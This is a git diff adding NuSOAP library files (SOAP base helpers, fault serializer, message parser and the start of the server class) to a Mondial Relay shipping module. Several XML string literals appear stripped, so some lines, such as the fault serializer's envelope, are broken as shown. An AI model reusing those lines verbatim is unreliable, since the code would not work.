getNamespaceFromPrefix($prefix){ + if (isset($this->namespaces[$prefix])) { + return $this->namespaces[$prefix]; + } + //$this->setError("No namespace registered for prefix '$prefix'"); + return false; + } + + /** + * returns the prefix for a given namespace (or prefix) + * or false if no prefixes registered for the given namespace + * + * @param string $ns The namespace + * @return mixed The prefix, false if the namespace has no prefixes + * @access public + */ + function getPrefixFromNamespace($ns) { + foreach ($this->namespaces as $p => $n) { + if ($ns == $n || $ns == $p) { + $this->usedNamespaces[$p] = $n; + return $p; + } + } + return false; + } + + /** + * returns the time in ODBC canonical form with microseconds + * + * @return string The time in ODBC canonical form with microseconds + * @access public + */ + function getmicrotime() { + if (function_exists('gettimeofday')) { + $tod = gettimeofday(); + $sec = $tod['sec']; + $usec = $tod['usec']; + } else { + $sec = time(); + $usec = 0; + } + return strftime('%Y-%m-%d %H:%M:%S', $sec) . '.' . sprintf('%06d', $usec); + } + + /** + * Returns a string with the output of var_dump + * + * @param mixed $data The variable to var_dump + * @return string The output of var_dump + * @access public + */ + function varDump($data) { + ob_start(); + var_dump($data); + $ret_val = ob_get_contents(); + ob_end_clean(); + return $ret_val; + } + + /** + * represents the object as a string + * + * @return string + * @access public + */ + function __toString() { + return $this->varDump($this); + } +} + +// XML Schema Datatype Helper Functions + +//xsd:dateTime helpers + +/** +* convert unix timestamp to ISO 8601 compliant date string +* +* @param int $timestamp Unix time stamp +* @param boolean $utc Whether the time stamp is UTC or local +* @return mixed ISO 8601 date string or false +* @access public +*/ +function timestamp_to_iso8601($timestamp,$utc=true){ + $datestr = date('Y-m-d\TH:i:sO',$timestamp); + $pos = strrpos($datestr, "+"); + if ($pos === FALSE) { + $pos = strrpos($datestr, "-"); + } + if ($pos !== FALSE) { + if (strlen($datestr) == $pos + 5) { + $datestr = substr($datestr, 0, $pos + 3) . ':' . substr($datestr, -2); + } + } + if($utc){ + $pattern = '/'. + '([0-9]{4})-'. // centuries & years CCYY- + '([0-9]{2})-'. // months MM- + '([0-9]{2})'. // days DD + 'T'. // separator T + '([0-9]{2}):'. // hours hh: + '([0-9]{2}):'. // minutes mm: + '([0-9]{2})(\.[0-9]*)?'. // seconds ss.ss... + '(Z|[+\-][0-9]{2}:?[0-9]{2})?'. // Z to indicate UTC, -/+HH:MM:SS.SS... for local tz's + '/'; + + if(preg_match($pattern,$datestr,$regs)){ + return sprintf('%04d-%02d-%02dT%02d:%02d:%02dZ',$regs[1],$regs[2],$regs[3],$regs[4],$regs[5],$regs[6]); + } + return false; + } else { + return $datestr; + } +} + +/** +* convert ISO 8601 compliant date string to unix timestamp +* +* @param string $datestr ISO 8601 compliant date string +* @return mixed Unix timestamp (int) or false +* @access public +*/ +function iso8601_to_timestamp($datestr){ + $pattern = '/'. + '([0-9]{4})-'. // centuries & years CCYY- + '([0-9]{2})-'. // months MM- + '([0-9]{2})'. // days DD + 'T'. // separator T + '([0-9]{2}):'. // hours hh: + '([0-9]{2}):'. // minutes mm: + '([0-9]{2})(\.[0-9]+)?'. // seconds ss.ss... + '(Z|[+\-][0-9]{2}:?[0-9]{2})?'. // Z to indicate UTC, -/+HH:MM:SS.SS... for local tz's + '/'; + if(preg_match($pattern,$datestr,$regs)){ + // not utc + if($regs[8] != 'Z'){ + $op = substr($regs[8],0,1); + $h = substr($regs[8],1,2); + $m = substr($regs[8],strlen($regs[8])-2,2); + if($op == '-'){ + $regs[4] = $regs[4] + $h; + $regs[5] = $regs[5] + $m; + } elseif($op == '+'){ + $regs[4] = $regs[4] - $h; + $regs[5] = $regs[5] - $m; + } + } + return gmmktime($regs[4], $regs[5], $regs[6], $regs[2], $regs[3], $regs[1]); +// return strtotime("$regs[1]-$regs[2]-$regs[3] $regs[4]:$regs[5]:$regs[6]Z"); + } else { + return false; + } +} + +/** +* sleeps some number of microseconds +* +* @param string $usec the number of microseconds to sleep +* @access public +* @deprecated +*/ +function usleepWindows($usec) +{ + $start = gettimeofday(); + + do + { + $stop = gettimeofday(); + $timePassed = 1000000 * ($stop['sec'] - $start['sec']) + + $stop['usec'] - $start['usec']; + } + while ($timePassed < $usec); +} + + diff --git a/modules/mondialrelay2/lib/nusoap/class.soap_fault.php b/modules/mondialrelay2/lib/nusoap/class.soap_fault.php new file mode 100755 index 0000000..f9bf8d1 --- /dev/null +++ b/modules/mondialrelay2/lib/nusoap/class.soap_fault.php @@ -0,0 +1,89 @@ + +* @version $Id$ +* @access public +*/ +class nusoap_fault extends nusoap_base { + /** + * The fault code (client|server) + * @var string + * @access private + */ + var $faultcode; + /** + * The fault actor + * @var string + * @access private + */ + var $faultactor; + /** + * The fault string, a description of the fault + * @var string + * @access private + */ + var $faultstring; + /** + * The fault detail, typically a string or array of string + * @var mixed + * @access private + */ + var $faultdetail; + + /** + * constructor + * + * @param string $faultcode (SOAP-ENV:Client | SOAP-ENV:Server) + * @param string $faultactor only used when msg routed between multiple actors + * @param string $faultstring human readable error message + * @param mixed $faultdetail detail, typically a string or array of string + */ + function nusoap_fault($faultcode,$faultactor='',$faultstring='',$faultdetail=''){ + parent::nusoap_base(); + $this->faultcode = $faultcode; + $this->faultactor = $faultactor; + $this->faultstring = $faultstring; + $this->faultdetail = $faultdetail; + } + + /** + * serialize a fault + * + * @return string The serialization of the fault instance. + * @access public + */ + function serialize(){ + $ns_string = ''; + foreach($this->namespaces as $k => $v){ + $ns_string .= "\n xmlns:$k=\"$v\""; + } + $return_msg = + 'soap_defencoding.'"?>'. + '\n". + ''. + ''. + $this->serialize_val($this->faultcode, 'faultcode'). + $this->serialize_val($this->faultactor, 'faultactor'). + $this->serialize_val($this->faultstring, 'faultstring'). + $this->serialize_val($this->faultdetail, 'detail'). + ''. + ''. + ''; + return $return_msg; + } +} + +/** + * Backward compatibility + */ +class soap_fault extends nusoap_fault { +} + + diff --git a/modules/mondialrelay2/lib/nusoap/class.soap_parser.php b/modules/mondialrelay2/lib/nusoap/class.soap_parser.php new file mode 100755 index 0000000..e84330b --- /dev/null +++ b/modules/mondialrelay2/lib/nusoap/class.soap_parser.php @@ -0,0 +1,642 @@ + +* @author Scott Nichol +* @version $Id$ +* @access public +*/ +class nusoap_parser extends nusoap_base { + + var $xml = ''; + var $xml_encoding = ''; + var $method = ''; + var $root_struct = ''; + var $root_struct_name = ''; + var $root_struct_namespace = ''; + var $root_header = ''; + var $document = ''; // incoming SOAP body (text) + // determines where in the message we are (envelope,header,body,method) + var $status = ''; + var $position = 0; + var $depth = 0; + var $default_namespace = ''; + var $namespaces = array(); + var $message = array(); + var $parent = ''; + var $fault = false; + var $fault_code = ''; + var $fault_str = ''; + var $fault_detail = ''; + var $depth_array = array(); + var $debug_flag = true; + var $soapresponse = NULL; // parsed SOAP Body + var $soapheader = NULL; // parsed SOAP Header + var $responseHeaders = ''; // incoming SOAP headers (text) + var $body_position = 0; + // for multiref parsing: + // array of id => pos + var $ids = array(); + // array of id => hrefs => pos + var $multirefs = array(); + // toggle for auto-decoding element content + var $decode_utf8 = true; + + /** + * constructor that actually does the parsing + * + * @param string $xml SOAP message + * @param string $encoding character encoding scheme of message + * @param string $method method for which XML is parsed (unused?) + * @param string $decode_utf8 whether to decode UTF-8 to ISO-8859-1 + * @access public + */ + function nusoap_parser($xml,$encoding='UTF-8',$method='',$decode_utf8=true){ + parent::nusoap_base(); + $this->xml = $xml; + $this->xml_encoding = $encoding; + $this->method = $method; + $this->decode_utf8 = $decode_utf8; + + // Check whether content has been read. + if(!empty($xml)){ + // Check XML encoding + $pos_xml = strpos($xml, '', $pos_xml + 2) - $pos_xml + 1); + if (preg_match("/encoding=[\"']([^\"']*)[\"']/", $xml_decl, $res)) { + $xml_encoding = $res[1]; + if (strtoupper($xml_encoding) != $encoding) { + $err = "Charset from HTTP Content-Type '" . $encoding . "' does not match encoding from XML declaration '" . $xml_encoding . "'"; + $this->debug($err); + if ($encoding != 'ISO-8859-1' || strtoupper($xml_encoding) != 'UTF-8') { + $this->setError($err); + return; + } + // when HTTP says ISO-8859-1 (the default) and XML says UTF-8 (the typical), assume the other endpoint is just sloppy and proceed + } else { + $this->debug('Charset from HTTP Content-Type matches encoding from XML declaration'); + } + } else { + $this->debug('No encoding specified in XML declaration'); + } + } else { + $this->debug('No XML declaration'); + } + $this->debug('Entering nusoap_parser(), length='.strlen($xml).', encoding='.$encoding); + // Create an XML parser - why not xml_parser_create_ns? + $this->parser = xml_parser_create($this->xml_encoding); + // Set the options for parsing the XML data. + //xml_parser_set_option($parser, XML_OPTION_SKIP_WHITE, 1); + xml_parser_set_option($this->parser, XML_OPTION_CASE_FOLDING, 0); + xml_parser_set_option($this->parser, XML_OPTION_TARGET_ENCODING, $this->xml_encoding); + // Set the object for the parser. + xml_set_object($this->parser, $this); + // Set the element handlers for the parser. + xml_set_element_handler($this->parser, 'start_element','end_element'); + xml_set_character_data_handler($this->parser,'character_data'); + + // Parse the XML file. + if(!xml_parse($this->parser,$xml,true)){ + // Display an error message. + $err = sprintf('XML error parsing SOAP payload on line %d: %s', + xml_get_current_line_number($this->parser), + xml_error_string(xml_get_error_code($this->parser))); + $this->debug($err); + $this->debug("XML payload:\n" . $xml); + $this->setError($err); + } else { + $this->debug('in nusoap_parser ctor, message:'); + $this->appendDebug($this->varDump($this->message)); + $this->debug('parsed successfully, found root struct: '.$this->root_struct.' of name '.$this->root_struct_name); + // get final value + $this->soapresponse = $this->message[$this->root_struct]['result']; + // get header value + if($this->root_header != '' && isset($this->message[$this->root_header]['result'])){ + $this->soapheader = $this->message[$this->root_header]['result']; + } + // resolve hrefs/ids + if(sizeof($this->multirefs) > 0){ + foreach($this->multirefs as $id => $hrefs){ + $this->debug('resolving multirefs for id: '.$id); + $idVal = $this->buildVal($this->ids[$id]); + if (is_array($idVal) && isset($idVal['!id'])) { + unset($idVal['!id']); + } + foreach($hrefs as $refPos => $ref){ + $this->debug('resolving href at pos '.$refPos); + $this->multirefs[$id][$refPos] = $idVal; + } + } + } + } + xml_parser_free($this->parser); + } else { + $this->debug('xml was empty, didn\'t parse!'); + $this->setError('xml was empty, didn\'t parse!'); + } + } + + /** + * start-element handler + * + * @param resource $parser XML parser object + * @param string $name element name + * @param array $attrs associative array of attributes + * @access private + */ + function start_element($parser, $name, $attrs) { + // position in a total number of elements, starting from 0 + // update class level pos + $pos = $this->position++; + // and set mine + $this->message[$pos] = array('pos' => $pos,'children'=>'','cdata'=>''); + // depth = how many levels removed from root? + // set mine as current global depth and increment global depth value + $this->message[$pos]['depth'] = $this->depth++; + + // else add self as child to whoever the current parent is + if($pos != 0){ + $this->message[$this->parent]['children'] .= '|'.$pos; + } + // set my parent + $this->message[$pos]['parent'] = $this->parent; + // set self as current parent + $this->parent = $pos; + // set self as current value for this depth + $this->depth_array[$this->depth] = $pos; + // get element prefix + if(strpos($name,':')){ + // get ns prefix + $prefix = substr($name,0,strpos($name,':')); + // get unqualified name + $name = substr(strstr($name,':'),1); + } + // set status + if ($name == 'Envelope' && $this->status == '') { + $this->status = 'envelope'; + } elseif ($name == 'Header' && $this->status == 'envelope') { + $this->root_header = $pos; + $this->status = 'header'; + } elseif ($name == 'Body' && $this->status == 'envelope'){ + $this->status = 'body'; + $this->body_position = $pos; + // set method + } elseif($this->status == 'body' && $pos == ($this->body_position+1)) { + $this->status = 'method'; + $this->root_struct_name = $name; + $this->root_struct = $pos; + $this->message[$pos]['type'] = 'struct'; + $this->debug("found root struct $this->root_struct_name, pos $this->root_struct"); + } + // set my status + $this->message[$pos]['status'] = $this->status; + // set name + $this->message[$pos]['name'] = htmlspecialchars($name); + // set attrs + $this->message[$pos]['attrs'] = $attrs; + + // loop through atts, logging ns and type declarations + $attstr = ''; + foreach($attrs as $key => $value){ + $key_prefix = $this->getPrefix($key); + $key_localpart = $this->getLocalPart($key); + // if ns declarations, add to class level array of valid namespaces + if($key_prefix == 'xmlns'){ + if(preg_match('/^http:\/\/www.w3.org\/[0-9]{4}\/XMLSchema$/',$value)){ + $this->XMLSchemaVersion = $value; + $this->namespaces['xsd'] = $this->XMLSchemaVersion; + $this->namespaces['xsi'] = $this->XMLSchemaVersion.'-instance'; + } + $this->namespaces[$key_localpart] = $value; + // set method namespace + if($name == $this->root_struct_name){ + $this->methodNamespace = $value; + } + // if it's a type declaration, set type + } elseif($key_localpart == 'type'){ + if (isset($this->message[$pos]['type']) && $this->message[$pos]['type'] == 'array') { + // do nothing: already processed arrayType + } else { + $value_prefix = $this->getPrefix($value); + $value_localpart = $this->getLocalPart($value); + $this->message[$pos]['type'] = $value_localpart; + $this->message[$pos]['typePrefix'] = $value_prefix; + if(isset($this->namespaces[$value_prefix])){ + $this->message[$pos]['type_namespace'] = $this->namespaces[$value_prefix]; + } else if(isset($attrs['xmlns:'.$value_prefix])) { + $this->message[$pos]['type_namespace'] = $attrs['xmlns:'.$value_prefix]; + } + // should do something here with the namespace of specified type? + } + } elseif($key_localpart == 'arrayType'){ + $this->message[$pos]['type'] = 'array'; + /* do arrayType ereg here + [1] arrayTypeValue ::= atype asize + [2] atype ::= QName rank* + [3] rank ::= '[' (',')* ']' + [4] asize ::= '[' length~ ']' + [5] length ::= nextDimension* Digit+ + [6] nextDimension ::= Digit+ ',' + */ + $expr = '/([A-Za-z0-9_]+):([A-Za-z]+[A-Za-z0-9_]+)\[([0-9]+),?([0-9]*)\]/'; + if(preg_match($expr,$value,$regs)){ + $this->message[$pos]['typePrefix'] = $regs[1]; + $this->message[$pos]['arrayTypePrefix'] = $regs[1]; + if (isset($this->namespaces[$regs[1]])) { + $this->message[$pos]['arrayTypeNamespace'] = $this->namespaces[$regs[1]]; + } else if (isset($attrs['xmlns:'.$regs[1]])) { + $this->message[$pos]['arrayTypeNamespace'] = $attrs['xmlns:'.$regs[1]]; + } + $this->message[$pos]['arrayType'] = $regs[2]; + $this->message[$pos]['arraySize'] = $regs[3]; + $this->message[$pos]['arrayCols'] = $regs[4]; + } + // specifies nil value (or not) + } elseif ($key_localpart == 'nil'){ + $this->message[$pos]['nil'] = ($value == 'true' || $value == '1'); + // some other attribute + } elseif ($key != 'href' && $key != 'xmlns' && $key_localpart != 'encodingStyle' && $key_localpart != 'root') { + $this->message[$pos]['xattrs']['!' . $key] = $value; + } + + if ($key == 'xmlns') { + $this->default_namespace = $value; + } + // log id + if($key == 'id'){ + $this->ids[$value] = $pos; + } + // root + if($key_localpart == 'root' && $value == 1){ + $this->status = 'method'; + $this->root_struct_name = $name; + $this->root_struct = $pos; + $this->debug("found root struct $this->root_struct_name, pos $pos"); + } + // for doclit + $attstr .= " $key=\"$value\""; + } + // get namespace - must be done after namespace atts are processed + if(isset($prefix)){ + $this->message[$pos]['namespace'] = $this->namespaces[$prefix]; + $this->default_namespace = $this->namespaces[$prefix]; + } else { + $this->message[$pos]['namespace'] = $this->default_namespace; + } + if($this->status == 'header'){ + if ($this->root_header != $pos) { + $this->responseHeaders .= "<" . (isset($prefix) ? $prefix . ':' : '') . "$name$attstr>"; + } + } elseif($this->root_struct_name != ''){ + $this->document .= "<" . (isset($prefix) ? $prefix . ':' : '') . "$name$attstr>"; + } + } + + /** + * end-element handler + * + * @param resource $parser XML parser object + * @param string $name element name + * @access private + */ + function end_element($parser, $name) { + // position of current element is equal to the last value left in depth_array for my depth + $pos = $this->depth_array[$this->depth--]; + + // get element prefix + if(strpos($name,':')){ + // get ns prefix + $prefix = substr($name,0,strpos($name,':')); + // get unqualified name + $name = substr(strstr($name,':'),1); + } + + // build to native type + if(isset($this->body_position) && $pos > $this->body_position){ + // deal w/ multirefs + if(isset($this->message[$pos]['attrs']['href'])){ + // get id + $id = substr($this->message[$pos]['attrs']['href'],1); + // add placeholder to href array + $this->multirefs[$id][$pos] = 'placeholder'; + // add set a reference to it as the result value + $this->message[$pos]['result'] =& $this->multirefs[$id][$pos]; + // build complexType values + } elseif($this->message[$pos]['children'] != ''){ + // if result has already been generated (struct/array) + if(!isset($this->message[$pos]['result'])){ + $this->message[$pos]['result'] = $this->buildVal($pos); + } + // build complexType values of attributes and possibly simpleContent + } elseif (isset($this->message[$pos]['xattrs'])) { + if (isset($this->message[$pos]['nil']) && $this->message[$pos]['nil']) { + $this->message[$pos]['xattrs']['!'] = null; + } elseif (isset($this->message[$pos]['cdata']) && trim($this->message[$pos]['cdata']) != '') { + if (isset($this->message[$pos]['type'])) { + $this->message[$pos]['xattrs']['!'] = $this->decodeSimple($this->message[$pos]['cdata'], $this->message[$pos]['type'], isset($this->message[$pos]['type_namespace']) ? $this->message[$pos]['type_namespace'] : ''); + } else { + $parent = $this->message[$pos]['parent']; + if (isset($this->message[$parent]['type']) && ($this->message[$parent]['type'] == 'array') && isset($this->message[$parent]['arrayType'])) { + $this->message[$pos]['xattrs']['!'] = $this->decodeSimple($this->message[$pos]['cdata'], $this->message[$parent]['arrayType'], isset($this->message[$parent]['arrayTypeNamespace']) ? $this->message[$parent]['arrayTypeNamespace'] : ''); + } else { + $this->message[$pos]['xattrs']['!'] = $this->message[$pos]['cdata']; + } + } + } + $this->message[$pos]['result'] = $this->message[$pos]['xattrs']; + // set value of simpleType (or nil complexType) + } else { + //$this->debug('adding data for scalar value '.$this->message[$pos]['name'].' of value '.$this->message[$pos]['cdata']); + if (isset($this->message[$pos]['nil']) && $this->message[$pos]['nil']) { + $this->message[$pos]['xattrs']['!'] = null; + } elseif (isset($this->message[$pos]['type'])) { + $this->message[$pos]['result'] = $this->decodeSimple($this->message[$pos]['cdata'], $this->message[$pos]['type'], isset($this->message[$pos]['type_namespace']) ? $this->message[$pos]['type_namespace'] : ''); + } else { + $parent = $this->message[$pos]['parent']; + if (isset($this->message[$parent]['type']) && ($this->message[$parent]['type'] == 'array') && isset($this->message[$parent]['arrayType'])) { + $this->message[$pos]['result'] = $this->decodeSimple($this->message[$pos]['cdata'], $this->message[$parent]['arrayType'], isset($this->message[$parent]['arrayTypeNamespace']) ? $this->message[$parent]['arrayTypeNamespace'] : ''); + } else { + $this->message[$pos]['result'] = $this->message[$pos]['cdata']; + } + } + + /* add value to parent's result, if parent is struct/array + $parent = $this->message[$pos]['parent']; + if($this->message[$parent]['type'] != 'map'){ + if(strtolower($this->message[$parent]['type']) == 'array'){ + $this->message[$parent]['result'][] = $this->message[$pos]['result']; + } else { + $this->message[$parent]['result'][$this->message[$pos]['name']] = $this->message[$pos]['result']; + } + } + */ + } + } + + // for doclit + if($this->status == 'header'){ + if ($this->root_header != $pos) { + $this->responseHeaders .= ""; + } + } elseif($pos >= $this->root_struct){ + $this->document .= ""; + } + // switch status + if ($pos == $this->root_struct){ + $this->status = 'body'; + $this->root_struct_namespace = $this->message[$pos]['namespace']; + } elseif ($pos == $this->root_header) { + $this->status = 'envelope'; + } elseif ($name == 'Body' && $this->status == 'body') { + $this->status = 'envelope'; + } elseif ($name == 'Header' && $this->status == 'header') { // will never happen + $this->status = 'envelope'; + } elseif ($name == 'Envelope' && $this->status == 'envelope') { + $this->status = ''; + } + // set parent back to my parent + $this->parent = $this->message[$pos]['parent']; + } + + /** + * element content handler + * + * @param resource $parser XML parser object + * @param string $data element content + * @access private + */ + function character_data($parser, $data){ + $pos = $this->depth_array[$this->depth]; + if ($this->xml_encoding=='UTF-8'){ + // TODO: add an option to disable this for folks who want + // raw UTF-8 that, e.g., might not map to iso-8859-1 + // TODO: this can also be handled with xml_parser_set_option($this->parser, XML_OPTION_TARGET_ENCODING, "ISO-8859-1"); + if($this->decode_utf8){ + $data = utf8_decode($data); + } + } + $this->message[$pos]['cdata'] .= $data; + // for doclit + if($this->status == 'header'){ + $this->responseHeaders .= $data; + } else { + $this->document .= $data; + } + } + + /** + * get the parsed message (SOAP Body) + * + * @return mixed + * @access public + * @deprecated use get_soapbody instead + */ + function get_response(){ + return $this->soapresponse; + } + + /** + * get the parsed SOAP Body (NULL if there was none) + * + * @return mixed + * @access public + */ + function get_soapbody(){ + return $this->soapresponse; + } + + /** + * get the parsed SOAP Header (NULL if there was none) + * + * @return mixed + * @access public + */ + function get_soapheader(){ + return $this->soapheader; + } + + /** + * get the unparsed SOAP Header + * + * @return string XML or empty if no Header + * @access public + */ + function getHeaders(){ + return $this->responseHeaders; + } + + /** + * decodes simple types into PHP variables + * + * @param string $value value to decode + * @param string $type XML type to decode + * @param string $typens XML type namespace to decode + * @return mixed PHP value + * @access private + */ + function decodeSimple($value, $type, $typens) { + // TODO: use the namespace! + if ((!isset($type)) || $type == 'string' || $type == 'long' || $type == 'unsignedLong') { + return (string) $value; + } + if ($type == 'int' || $type == 'integer' || $type == 'short' || $type == 'byte') { + return (int) $value; + } + if ($type == 'float' || $type == 'double' || $type == 'decimal') { + return (double) $value; + } + if ($type == 'boolean') { + if (strtolower($value) == 'false' || strtolower($value) == 'f') { + return false; + } + return (boolean) $value; + } + if ($type == 'base64' || $type == 'base64Binary') { + $this->debug('Decode base64 value'); + return base64_decode($value); + } + // obscure numeric types + if ($type == 'nonPositiveInteger' || $type == 'negativeInteger' + || $type == 'nonNegativeInteger' || $type == 'positiveInteger' + || $type == 'unsignedInt' + || $type == 'unsignedShort' || $type == 'unsignedByte') { + return (int) $value; + } + // bogus: parser treats array with no elements as a simple type + if ($type == 'array') { + return array(); + } + // everything else + return (string) $value; + } + + /** + * builds response structures for compound values (arrays/structs) + * and scalars + * + * @param integer $pos position in node tree + * @return mixed PHP value + * @access private + */ + function buildVal($pos){ + if(!isset($this->message[$pos]['type'])){ + $this->message[$pos]['type'] = ''; + } + $this->debug('in buildVal() for '.$this->message[$pos]['name']."(pos $pos) of type ".$this->message[$pos]['type']); + // if there are children... + if($this->message[$pos]['children'] != ''){ + $this->debug('in buildVal, there are children'); + $children = explode('|',$this->message[$pos]['children']); + array_shift($children); // knock off empty + // md array + if(isset($this->message[$pos]['arrayCols']) && $this->message[$pos]['arrayCols'] != ''){ + $r=0; // rowcount + $c=0; // colcount + foreach($children as $child_pos){ + $this->debug("in buildVal, got an MD array element: $r, $c"); + $params[$r][] = $this->message[$child_pos]['result']; + $c++; + if($c == $this->message[$pos]['arrayCols']){ + $c = 0; + $r++; + } + } + // array + } elseif($this->message[$pos]['type'] == 'array' || $this->message[$pos]['type'] == 'Array'){ + $this->debug('in buildVal, adding array '.$this->message[$pos]['name']); + foreach($children as $child_pos){ + $params[] = &$this->message[$child_pos]['result']; + } + // apache Map type: java hashtable + } elseif($this->message[$pos]['type'] == 'Map' && $this->message[$pos]['type_namespace'] == 'http://xml.apache.org/xml-soap'){ + $this->debug('in buildVal, Java Map '.$this->message[$pos]['name']); + foreach($children as $child_pos){ + $kv = explode("|",$this->message[$child_pos]['children']); + $params[$this->message[$kv[1]]['result']] = &$this->message[$kv[2]]['result']; + } + // generic compound type + //} elseif($this->message[$pos]['type'] == 'SOAPStruct' || $this->message[$pos]['type'] == 'struct') { + } else { + // Apache Vector type: treat as an array + $this->debug('in buildVal, adding Java Vector or generic compound type '.$this->message[$pos]['name']); + if ($this->message[$pos]['type'] == 'Vector' && $this->message[$pos]['type_namespace'] == 'http://xml.apache.org/xml-soap') { + $notstruct = 1; + } else { + $notstruct = 0; + } + // + foreach($children as $child_pos){ + if($notstruct){ + $params[] = &$this->message[$child_pos]['result']; + } else { + if (isset($params[$this->message[$child_pos]['name']])) { + // de-serialize repeated element name into an array + if ((!is_array($params[$this->message[$child_pos]['name']])) || (!isset($params[$this->message[$child_pos]['name']][0]))) { + $params[$this->message[$child_pos]['name']] = array($params[$this->message[$child_pos]['name']]); + } + $params[$this->message[$child_pos]['name']][] = &$this->message[$child_pos]['result']; + } else { + $params[$this->message[$child_pos]['name']] = &$this->message[$child_pos]['result']; + } + } + } + } + if (isset($this->message[$pos]['xattrs'])) { + $this->debug('in buildVal, handling attributes'); + foreach ($this->message[$pos]['xattrs'] as $n => $v) { + $params[$n] = $v; + } + } + // handle simpleContent + if (isset($this->message[$pos]['cdata']) && trim($this->message[$pos]['cdata']) != '') { + $this->debug('in buildVal, handling simpleContent'); + if (isset($this->message[$pos]['type'])) { + $params['!'] = $this->decodeSimple($this->message[$pos]['cdata'], $this->message[$pos]['type'], isset($this->message[$pos]['type_namespace']) ? $this->message[$pos]['type_namespace'] : ''); + } else { + $parent = $this->message[$pos]['parent']; + if (isset($this->message[$parent]['type']) && ($this->message[$parent]['type'] == 'array') && isset($this->message[$parent]['arrayType'])) { + $params['!'] = $this->decodeSimple($this->message[$pos]['cdata'], $this->message[$parent]['arrayType'], isset($this->message[$parent]['arrayTypeNamespace']) ? $this->message[$parent]['arrayTypeNamespace'] : ''); + } else { + $params['!'] = $this->message[$pos]['cdata']; + } + } + } + $ret = is_array($params) ? $params : array(); + $this->debug('in buildVal, return:'); + $this->appendDebug($this->varDump($ret)); + return $ret; + } else { + $this->debug('in buildVal, no children, building scalar'); + $cdata = isset($this->message[$pos]['cdata']) ? $this->message[$pos]['cdata'] : ''; + if (isset($this->message[$pos]['type'])) { + $ret = $this->decodeSimple($cdata, $this->message[$pos]['type'], isset($this->message[$pos]['type_namespace']) ? $this->message[$pos]['type_namespace'] : ''); + $this->debug("in buildVal, return: $ret"); + return $ret; + } + $parent = $this->message[$pos]['parent']; + if (isset($this->message[$parent]['type']) && ($this->message[$parent]['type'] == 'array') && isset($this->message[$parent]['arrayType'])) { + $ret = $this->decodeSimple($cdata, $this->message[$parent]['arrayType'], isset($this->message[$parent]['arrayTypeNamespace']) ? $this->message[$parent]['arrayTypeNamespace'] : ''); + $this->debug("in buildVal, return: $ret"); + return $ret; + } + $ret = $this->message[$pos]['cdata']; + $this->debug("in buildVal, return: $ret"); + return $ret; + } + } +} + +/** + * Backward compatibility + */ +class soap_parser extends nusoap_parser { +} + + diff --git a/modules/mondialrelay2/lib/nusoap/class.soap_server.php b/modules/mondialrelay2/lib/nusoap/class.soap_server.php new file mode 100755 index 0000000..4b8d58c --- /dev/null +++ b/modules/mondialrelay2/lib/nusoap/class.soap_server.php @@ -0,0 +1,1126 @@ + +* @author Scott Nichol +* @version $Id$ +* @access public +*/ +class nusoap_server extends nusoap_base { + /** + * HTTP headers of request + * @var array + * @access private + */ + var $headers = array(); + /** + * HTTP request + * @var string + * @access private + */ + var $request = ''; + /** + * SOAP headers from request (incomplete namespace resolution; special characters not escaped) (text) + * @var string + * @access public + */ + var $requestHeaders = ''; + /** + * SOAP Headers from request (parsed) + * @var mixed + * @access public + */ + var $requestHeader = NULL; + /** + * SOAP body request portion (incomplete namespace resolution; special characters not escaped) (text) + * @var string + * @access public + */ + var $document = ''; + /** + * SOAP payload for request (text) + * @var string + * @access public + */ + var $requestSOAP = ''; + /** + * requested method namespace URI + * @var string + * @access private + */ + var $methodURI = ''; + /** + * name of method requested + * @var string + * @access private + */ + var $methodname = ''; + /** + * method parameters from request + * @var array + * @access private + */ + var $methodparams = array(); + /** + * SOAP Action from request + * @var string + * @access private + */ + var $SOAPAction = ''; + /** + * character set encoding of incoming (request) messages + * @var string + * @access public + */ + var $xml_encoding = ''; + /** + * toggles whether the parser decodes element content w/ utf8_decode() + * @var boolean + * @access public + */ + var $decode_utf8 = true; + + /** + * HTTP headers of response + * @var array + * @access public + */ + var $outgoing_headers = array(); + /** + * HTTP response + * @var string + * @access private + */ + var $response = ''; + /** + * SOAP headers for response (text or array of soapval or associative array) + * @var mixed + * @access public + */ + var $responseHeaders = ''; + /** + * SOAP payload for response (text) + * @var string + * @access private + */ + var $responseSOAP = ''; + /** + * method return value to place in response + * @var mixed + * @access private + */ + var $methodreturn = false; + /** + * whether $methodreturn is a string of literal XML + * @var boolean + * @access public + */ + var $methodreturnisliteralxml = false; + /** + * SOAP fault for response (or false) + * @var mixed + * @access private + */ + var $fault = false; + /** + * text indication of result (for debugging) + * @var string + * @access private + */ + var $result = 'successful'; + + /** + * assoc array of operations => opData; operations are added by the register() + * method or by parsing an external WSDL definition + * @var array + * @access private + */ + var $operations = array(); + /** + * wsdl instance (if one) + * @var mixed + * @access private + */ + var $wsdl = false; + /** + * URL for WSDL (if one) + * @var mixed + * @access private + */ + var $externalWSDLURL = false; + /** + * whether to append debug to response as XML comment + * @var boolean + * @access public + */ + var $debug_flag = false; + + + /** + * constructor + * the optional parameter is a path to a WSDL file that you'd like to bind the server instance to. + * + * @param mixed $wsdl file path or URL (string), or wsdl instance (object) + * @access public + */ + function nusoap_server($wsdl=false){ + parent::nusoap_base(); + // turn on debugging? + global $debug; + global $HTTP_SERVER_VARS; + + if (isset($_SERVER)) { + $this->debug("_SERVER is defined:"); + $this->appendDebug($this->varDump($_SERVER)); + } elseif (isset($HTTP_SERVER_VARS)) { + $this->debug("HTTP_SERVER_VARS is defined:"); + $this->appendDebug($this->varDump($HTTP_SERVER_VARS)); + } else { + $this->debug("Neither _SERVER nor HTTP_SERVER_VARS is defined."); + } + + if (isset($debug)) { + $this->debug("In nusoap_server, set debug_flag=$debug based on global flag"); + $this->debug_flag = $debug; + } elseif (isset($_SERVER['QUERY_STRING'])) { + $qs = explode('&', $_SERVER['QUERY_STRING']); + foreach ($qs as $v) { + if (substr($v, 0, 6) == 'debug=') { + $this->debug("In nusoap_server, set debug_flag=" . substr($v, 6) . " based on query string #1"); + $this->debug_flag = substr($v, 6); + } + } + } elseif (isset($HTTP_SERVER_VARS['QUERY_STRING'])) { + $qs = explode('&', $HTTP_SERVER_VARS['QUERY_STRING']); + foreach ($qs as $v) { + if (substr($v, 0, 6) == 'debug=') { + $this->debug("In nusoap_server, set debug_flag=" . substr($v, 6) . " based on query string #2"); + $this->debug_flag = substr($v, 6); + } + } + } + + // wsdl + if($wsdl){ + $this->debug("In nusoap_server, WSDL is specified"); + if (is_object($wsdl) && (get_class($wsdl) == 'wsdl')) { + $this->wsdl = $wsdl; + $this->externalWSDLURL = $this->wsdl->wsdl; + $this->debug('Use existing wsdl instance from ' . $this->externalWSDLURL); + } else { + $this->debug('Create 